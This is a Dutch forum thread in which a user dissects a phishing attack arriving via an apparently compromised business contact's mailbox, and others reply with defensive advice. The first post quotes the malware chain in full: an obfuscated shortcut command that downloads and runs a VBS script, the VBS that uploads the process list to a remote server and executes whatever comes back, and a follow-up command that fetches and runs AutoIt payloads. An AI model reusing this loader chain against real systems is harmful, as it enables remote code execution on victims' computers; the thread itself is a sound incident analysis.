gerichte (?) hack poging - advies?

[xkpbbvn36]

Hallo allen,

Zowel mijn collega als ik krijgen op onregelmatige tijdstippen met enkele maanden tussen kopies van emails die naar 1 bepaald zakencontact werden gestuurd. Ik vermoed dat diens mailbox is gehacket, alle mails (en dat zijn er verschillende naar dat contact) zijn van of naar hem gericht en de "verzenders" en ontvangers van de verdachte berichten zijn telkens 2 of 3 van de personen die in de oorspronkelijke mail verzender, ontvanger of CC waren.

De mails bevatten telkens bovenaan een melding (in het Nederlands) "consulteer document: verdachte-link.com" of iets gelijkaardigs.

Als ik die link bezoek wordt er een zip bestand gedownloaded met erin iets wat lijkt op een PDF document, maar in werkelijkheid een snelkoppeling is met als target een windows script (knap gedaan, ik wist zelfs niet dat dat kon):

%windir%\system32\cmd.exe /c S8 || ECHO S8 & pInG S8 || C"Url" ht"tp:"//XXXX"."XX"X"."XXX"."XXX"/HSG/"F" -o %tmp%\S8.vbs & pInG -n 3 S8 || cS"c"R"I"pt %tMP%\S8.vbs & e"XiT" 'NfO=HADTSAG=KMR

Als ik in powershell het curl script uitvoer (zonder de rest erachter uiteraard!) wordt een vbs bestand gedownload met als inhoud (onzin comments en code gefilterd):

gxGkhlCXAU = "cmd"
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
dim all_process
if gxGkhlCXAU = "a" then
MsgBox "plethodonPaleogenesis"
end if
Set colProcesses = objWMIService.ExecQuery("Select * from Win32_Process")
For Each objProcess in colProcesses
all_process = all_process & objProcess.Name
Next

SwAzlxyvdImp = "Shell.Application"
oMephHKdKfVY="http://XXX.XXX.XXX.XXX:XXXX/vjikfjxb"
EPhLeifpN="WINHTTP.WinHTTPRequest.5.1"

With CreateObject(EPhLeifpN)
.Open "post", oMephHKdKfVY, False
.setRequestHeader "a", all_process
.send
fnPvczoPwClvt = .responseText
CreateObject(SwAzlxyvdImp).ShellExecute gxGkhlCXAU, fnPvczoPwClvt ,"","",0 ''
End With

Blijkbaar tracht men alle processen in kaart te krijgen en te uploaden naar een webserver.
Mijn kennis van powershell is onvoldoende om te zien of er verder nog iets gebeurd in het script.

Als ik de url in oMephHKdKfVY bezoek in de browser wordt er code weergegeven die wellicht moet uitgevoerd worden op mijn systeem na de succesvolle upload:

/c mkdir c:\vjik & cd /d c:\vjik & copy c:\windows\system32\curl.exe vjik.exe & vjik -H "User-Agent: curl" -o Autoit3.exe http://XXX.XXX.XXX.XXX:XXXX & vjik -o vrjadt.au3 http://XXX.XXX.XXX.XXX:XXXX/msivjikfjxb & Autoit3.exe vrjadt.au3

De url is dezelfde als die hierboven in oMephHKdKfVY

Autoit3 is blijkbaar een soort script engine.
Ik heb het tenslotte ook nog aangedurfd om de vrjadt.au3 via curl te downloaden (de exe's niet), maar dat is een compleet onleesbaar en zeer lang bestand.

Is dit een zeer gerichte poging of is dit allemaal standaard materiaal voor gehackte mailboxen?
Wat doen we - behalve extra aandacht en alle standaard veiligheidsmaatregelen - best hiermee?

[Qwerty-273]

xkpbbvn36 schreef op maandag 25 september 2023 @ 16:28:
Wat doen we - behalve extra aandacht en alle standaard veiligheidsmaatregelen - best hiermee?

Niets, dat is het enige wat je kan doen. Zorg dat je eigen omgeving goed op orde is. Dat je niet zomaar scripts of programma's mag uitvoeren als gewone gebruiker. En dat de gewone gebruiker bij twijfel gewoon contact opneemt met IT.

Het is lastig om te zeggen wat de gerichtheid is op basis van het bovenstaande. Het lijkt op een "standaard" toolkit, en zeker op het moment dat je bij 1 partij al binnen bent is het vaak makkelijker om via die betrouwbaarheid van het contact bij anderen binnen te komen.

Een au3 script van AutoIt is volgens mij normaal gewoon platte tekst. Maar je kan hem wel compilen naar een uitvoerbaar bestand als exe of a3x waarbij je nog steeds AutoIt zelf nodig hebt. En er zijn ook verschillende obfuscators te vinden die nog wat ruis toevoegen...

[F_J_K]

Alleen executables op een whitelist toestaan te draaien zou prettig zijn ja. Maar dan wil je cmd, powershell, wscript, cscript, msiexec, regedt32 en dan vergeet ik er vast een niet op die whitelist hebben staan. Alleen specifieke scripts/locaties.

En de normale anti-phishing maatregelen zoals trainen en scannen.

[onno oliver]

Zou het kunnen dat de mail niet correct is in gericht waardoor het lijkt of de emails van de verzender komen?

Wat je kan doen is back-ups maken een back up is geen backup.
Vermoedelijk ben je een target?
Zipfiles die je krijgt en niet vertrouwd zou ik uploaden naar virustotal deze kijk wat er inzit en of het bekend is.
Je kan windows Hardening toepasen in combinatie met logins?
bv Operating System Hardening in combinatie met Application Hardening:

Kan zijn dat ze een andere manier gaan zoeken om binnen te komen dus wat is wijsheid?
Ik weet het niet? Misschien een systeem opofferen om te kijken wie het zijn en wat ze willen?